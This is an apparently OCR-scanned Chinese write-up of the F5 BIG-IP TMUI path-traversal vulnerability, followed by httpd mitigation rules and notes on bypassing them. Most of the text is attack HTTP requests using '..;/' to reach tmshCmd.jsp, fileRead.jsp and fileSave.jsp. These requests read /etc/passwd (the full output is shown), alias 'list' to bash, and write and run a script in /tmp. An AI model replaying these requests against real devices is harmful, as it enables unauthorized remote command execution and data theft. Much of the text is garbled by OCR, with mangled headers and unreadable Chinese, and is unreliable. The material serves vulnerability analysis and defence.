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Request

Raw | Params | Headers | Hex |
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Response

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd. jsp HTTP/1.1
Host: 192.168.43.1

Connection ose
Upgrade-Insacurae-Regquasts: 1
User-Agent: Mozilla/5.0 (Macintosh;
AppleWebKit/537.36 (KHTML, like Gecko)
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp, image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-S8ite: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-Dest: document

Referer: hteps://192.168.43.1/

Accapt-Encodin i ata

Accept-Language: 0.9,en;q=0.8

Content-Type: application/X-www=-form-urlencoded

Content-Length: 50

Intel Mac OS5 X 10_15_5)
Chrome/83.0.4103.116

command=createtcli+alias+privatetlist+command+bash

URLFEZE../;ZIERRIE, XT2ETTomcatNURIBHERSHEI

RZW, SHANE &HHE
cmdZ B E & MIBRF IR,

4 Y ¥ ¥ ¥ ¥ Y ¥ YYYVYYY

R

Raw | Headers | Hex

1 200 OK
Mon, 06 Jul 2020 06:08:22 GMT
Options: SAMEORIGIN

L

trict-Transpor
Set-Cookie: JSESSIONID=T7054C
Secure; HttpOnly
Content-Type: text/html;charset=I50-8859-1
X-Content-Type-Options: nosniff
X-XS5-Protectio 1; mode=block
Content-Security-Policy: default-src
‘unsafe-eval’ data: blob:; img-src

| http://127.4 1
Vary: Accept-Encoding
Content-Length: 177
Connection: close

ge=16070400; includeSubDomains
264406DCA27105A1CEBAYBBIA; Path=/tmui;

'self
self’

'unsafe-inline’
data: http://127.4.1.1

{"error":"Data Input Error: private \"list\" (list) already exists,

# WorkspaceUtils &£ H runTmshCommand & & ,

aliases are case insensitive,

use the ““modify‘\” command te change an
existing alias\n”, "output":""}

P14

M &

com.f5.tmui.locallb.handler.workspace.WorkspaceUtils¥f iz i &,

I

;

TIRAB BN
BltmshCmd.jsp, WM ME:tmshCmd_jsp.java X &
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> cgi-bin > dashboard > classes > 2 axis.jar
docs » framework > error » 2 commons-discovery.jar
error > policysync I - cevmomt-clientjar

& favicon.ico tmui » properties » = dnsjava.jar

html » & uris.xml script » 2 f5_soapclients.jar
iControl > WEB-INF > static » @ iControl.jar
mcpq > tids » = jaxrpc.jar
robots.txt % web.xml @ saaj.jar
rrdstats > xml » 3 tmui.jar
rtstats > xsd = wsdl4j.jar
trmui » xsl >
waui »
wdiag »
xui >

HiEE FXrunTmshCommandAiLE, sIAERE3STL, M THIHEHME, <KD
2fE, N2 create, delete, list, modify&EFLM&a<,
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writer
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BKRER:

Request

Raw | Params | Headers | Hex

FSILAEARASHAT IR 24T

Response

Raw | Headers | Hex

GET
ftmoi/login.jsp/..;/tmui/lecallb/workspace/fileRead. jsp?fileName=/ate/p
asswd HTTP/1.1
Ho 192.168.43.1
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;qg=0.8
1 ] te: same-origin
: no-cors
image
https://192.168.43.1/tmui/login. jep?masgcode=1&
: gqzip, deflate
Accept-Language: zh-CN,zh;qg=0.9,en;g=0.8
Cookia: JSESSIONID=C6BFDA4AC698T6162EIAOB2ZDEFO03IESD

53 N A9 s p 88 S HF
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{"output”:"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sb
in\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm
t\/var\/adm:\/sbin\/nologin\nlp:x:d:7:1p:\/var\/spool\/lpd:\/sbin\/nol
ogin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\nuucp:x:10:1
4:uucp:\/var\/spool\/uucp:\/sbin\/nologin\noperator:x:11:0:0perator:\/
root:\/sbin\/nologin‘\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshno
body:x:32765:32765: tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500: Admin
User:\/home\/admin:\/sbin\/nologin\nvcsa:x:69:6%:virtual console
memory owner:'\/dev:\/sbin\/nologinindbus:x:81:81:5ystem message
bus:\/:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated
SSH:\/var\/empty\/sshd:\/sbin\/nologin\ntepdump:x:72:72::\/:\/sbin\/neo
login\nntp:x:38:38::\/ete\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:49
9:£5 remote user
account:\/home\/f5_remoteuser:\/sbin\/nologin\ngemu:x:107:107 :qemu
user:\/:\/sbin\/nelogin\nrpe:x:32:32:Rpcbind
Daemon:\/var\/cache\/rpcbind:\/sbin\/nologin\noprofile:x:16:16:Special
user account to be used by
OProfile:\/:\/sbin\/nologin\ntomcat:x:91:91:Apache
Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nmysgl:x:98:98:MySQL
server:\/var\/lib\/mysql:\/sbin\/nologin\npostgres:x:26:26:PostgresSgL
Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\nsdm:x:498:495: sdmuse
r:\/var\/sdm:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\ /www:\/s
bin\/nologin\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\nhsqldb:x:
96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbi
n\/nologini\nrestnoded:x:198:198::\/:\/sbin\/nologin\neyenetsupport:x:0
1500 :eyenetsupport:\/home\/eyenetsupport:\/bin\/bash\npolkitd:x:27:27:
User for
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Request
Params | Headers | Hex

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd. jsp HTTP/1.1
Host: 192.168.43.1

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Maec OS5 X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0. 4103.116
Safari/f537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9, image/webp, image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9

5 Fetch-Site: igin

Sec-Fetch-Mode: navigate

Sec-Fetch-Dest: document

Referer: https://192.168.43.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.%,en;q=0.8

Content-Type: application/x-www-form-urlencoded
Content-Length: 50

command=createtclitalias+privatetlist+commandt+bash

BANXH:

Request

Params | Headers | Hex

POST /tmui/legin.isp/..
Host: 192.168.43.1
Connection: close
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36

Accept:

;/tmui/locallb/workspace/fileSave.jsp HTTR/1.1

text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/

apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: d

Referer: https://192,168.423.1/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;g=0.9,en;g=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 177

fileName=/tmp/adminl0.shécontent=1__ W = H = - -

M1TE Ash:

Request

[ Raw, | params | Headers [ nex |

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTF/1.1
Host: 192.168.43.1

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0. 4103.116
Safari/537.36

Accept:

text/html, lpplxcntxan!xhtnl+xnl ippl;catiunfxnl q=0.%,image/webp, image/

apng,*/*;g=0.8,application/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://192.168.43.1/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.%,en;g=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

sig ge;v=b3;g=0.%

command=list+/tmp/adminl0.sh

XHBlshell:
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Response

(e Y

HTTP/1.1 200 OK

Date: Mon, 06 Jul 2020 06:08:22 GMT

X-Frame-Options: SAMEORIGIN

Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=T7054CF0264406DCA27105A1CEBASBRYOA; Path=/tmui;
Secure; HttpOnly

Content-Type: text/html;charset=IS50-8859-1
X-Content-Type-Options: nosniff
X-XS5-Protection: 1; mode=block
Content-Security-Policy: default-src 'self’
‘unsafe-eval’ data: blob:; img-src ‘self’' data:
http://127.4.2.1

Vary: Accept-Enceding

Content-Length: 177

Connection: close

'unsafe-inline’
http://127.4.1.1

{"error”:"Data Input Error: private \"list\" (list) already exists,
aliases are case insensitive, use the \"modify\” command to change an
existing alias\n", "output":""}

Response

Headers | Hex

—

ol 2

4 v

HTTP/1.1 200 OK

Date: Mon, 06 Jul 2020 06:08:29 GMT

X-Frame-Options: SAMEORIGIN

Strict-Tr t ity 16070400; includeSubDomains
Set-Cookie: JSESSIONXD-IBBJBBCBEES?GDAUAE5!C305§803356F. Path=/tmui;
Secure; HttpOnly

Content-Type: text/html;charset=I50-8859-1

X-Content-Type-Options: nosniff

X-X85-Protection: 1; mode=block

Content-Security-Folicy: default-src 'self’ ‘unsafe-inline’
‘unsafe-eval' data: bleb:; img-src 'self’ data: http://127.4.1.1
http://127.4.2.1

=

Vary: Accept-Encoding
Content-Length: 4
Connection: close

Response

Headers | Hex

HTTP/1.1 200 OK

Date: Mon, 06 Jul 2020 07:12:27 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=28A30B0B91F416E6BFODTEEC29081457; Path=/tmui;
Secure; HttpOnly

Content-Type: text/html;charset=150-8859-1
X-Content-Type-Options: nosniff
X-XS5-Protection: 1; mode=block
Content-Security-Policy: default-src "self’
'unsafe-eval' data: blob:; img-src 'self' data:

‘unsafe-inline’
http://127.4.1.1

ﬂ http://127.4.2.1

Vary: Accept-Encoding
Content-Length: 33
Connection: close

{"error”:"", "output":""}
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JPgrage-iNsecure-Kequests: 1
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Jser-Agent: Mozilla/5.0 (Macintos
AppleWebKit/537.36 (EHTML, like Ge
safari/537.36

Accept:

text/html ,application/xhtml+xml, ap
apng,*/*;g=0.8,application/signed-
jec-Fetch-5ite: same-origin
jec-Fetch-Mode: navigate
jec-Fetch-Dest: gggrment

teferer: https:, _ W ‘
fccept-Encoc g:
Accept-Langu e: zh-CN,zh;q=0.9,
lontent-Type: application/x-www-fo
‘ontent-Length: 27

zommand=list+/tmp .sh

7 A7 HEM:
ERFENANBINTSRENERZEMN (GREERHE)
1) EFRANUNTHLERTNRSZ: tmsh

2) %% httpd AHEREXXH;

edit /sys httpd all-properties

3) XH RN B WT include ' <LocationMatch "...;."> Redirect 404 /

</LocationMatch> '

4) BB T B FREF M

T ESC HE&RHWA: wq

5) H1Ta8 < Rl EC & X

save /sys config

6) EfF httpd RS,

restart sys service httpd HZEILIEBIPX TMUI TTEHIAE .,

7R 7 BEM: EAVMZXEBSELLENRBNERAEZERE httpd BEXXGRMA

MTED, UELEKR url BEREHIM .., #TEREHE:

include '
<LocationMatch ".*x\.\.;.x">
Redirect 404 /

</LocationMatch>
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ARMmAMeIA@EET /hsqldb; THEHkEE, EEHIEIWBK org.hsqgldb.Servlet, #H—FH 1T
Java 1B, XMFERAFAMABANASX, JUEIT EAREEMN,

7 B 9 HE#:
EAFLEESEAEMNE_MRIENEBARPE httpd EEXHEFRMAMRUNEED T,
IAZEIFIERA url WREEM ; #HTREPGAEST

include
<LocationMatch ";">
Redirect 404 /

</LocationMatch>

AMAMBEINEE /hsqldb%0a MIEBXRARX, BRAGINENRAEZEEINN, ZHEEF
X org.hsqgldb.Servlet, #—% M 1T Java K3,

TomcatiFtEXXE

https://xz.aliyun.com/t/7544#toc-9 https://i.blackhat.com/us-18/Wed-
August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-
Path-Normalization-Off-And-Pop-0days-Out-2.pdf
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